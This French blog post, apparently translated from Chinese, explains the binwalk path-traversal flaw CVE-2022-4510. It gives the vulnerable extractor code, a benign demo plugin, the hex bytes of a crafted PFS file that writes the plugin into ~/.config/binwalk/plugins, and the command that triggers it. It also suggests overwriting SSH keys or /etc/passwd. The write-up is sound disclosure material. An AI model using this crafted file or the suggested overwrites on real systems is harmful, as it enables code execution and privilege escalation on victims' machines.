Principe et démonstration de la vulnérabilité d'exécution de commandes à distance Binwalk CVE-2022-4510

Introduction

Selon la description officielle de cve, une vulnérabilité de traversée de chemin a été trouvée dans binwalk de la version 2.1.2 à 2.3.3. Cette vulnérabilité permet à un attaquant distant d'exécuter du code arbitraire sur une machine affectée avec binwalk installé

Qu'est-ce qu'un fichier PFS

Un fichier PFS est un fichier de sélection créé par PhotoFiltre Studio, un programme de retouche d'image. Il contient les coordonnées utilisées par l'outil de sélection de polygones de l'éditeur d'images pour tracer des lignes entre les coordonnées données. Les fichiers PFS sont stockés en texte brut.

Format de fichier PFS

https://lekensteyn.nl/files/pfs/pfs.txt

Analyser le code source

Un plugin d'extraction PFS a été fusionné avec binwalk en 2017 avec quelques modifications

     def extractor(self, fname):
         fname = os.path.abspath(fname)
         out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))

         try:
             with PFS(fname) as fs:  #读取pfs文件数据
               data = open(fname, 'rb')
               data = binwalk.core.common.BlockFile(fname, 'rb')
               data.seek(fs.get_end_of_meta_data())
               for entry in fs.entries():
                   outfile_path = os.path.join(out_dir, entry.fname)
                   if not outfile_path.startswith(out_dir): 
                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
                    else:
                        self._create_dir_from_fname(outfile_path)
                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
                        outfile.write(data.read(entry.fsize))
                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e

Le problème se produit dans la fonction os.path.join, car le code de la ligne 11 ne résout pas complètement le chemin, donc la condition de la ligne 12 ne sera jamais vraie

insérez la description de l'image ici

En créant un fichier PFS traversant le chemin, nous pouvons forcer binwalk à écrire des fichiers en dehors du répertoire

COP

Les utilisateurs peuvent utiliser l'API binwalk pour définir leurs propres plugins, il suffit de mettre les plugins dans le répertoire $HOME/.config/binwalk/plugins/, puis les plugins seront appelés lors de l'exécution de binwalk

Code malicieux:

import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        print("baimao")

Ouvrez le fichier avec winhex après l'enregistrement
insérez la description de l'image ici

Collez directement les données hexadécimales suivantes

5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000

insérez la description de l'image ici

Enregistrez le .py en tant que fichier .pfs et ajoutez-le au package compressé

insérez la description de l'image ici

Lors de l'utilisation de binwalk pour extraire des fichiers du répertoire personnel de l'utilisateur, un plugin sera ajouté à .config/binwalk/plugins, et ce plugin malveillant sera alors chargé et exécuté par binwalk, entraînant RCE

cd ~
binwalk -M -e exp.zip

insérez la description de l'image ici

code exécuté avec succès

Résumer

La cve qui a divulgué les détails le 31 janvier de cette année, a appris un peu, en plus d'écraser le fichier ./.config/binwalk/plugins/malwalk.py, nous pouvons également écraser le fichier id.rsa ou /etc/passwd pour faire remonter directement les droits

Documents de référence:

https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk

Je suppose que tu aimes

Origine blog.csdn.net/qq_45894840/article/details/128890375
conseillé
Classement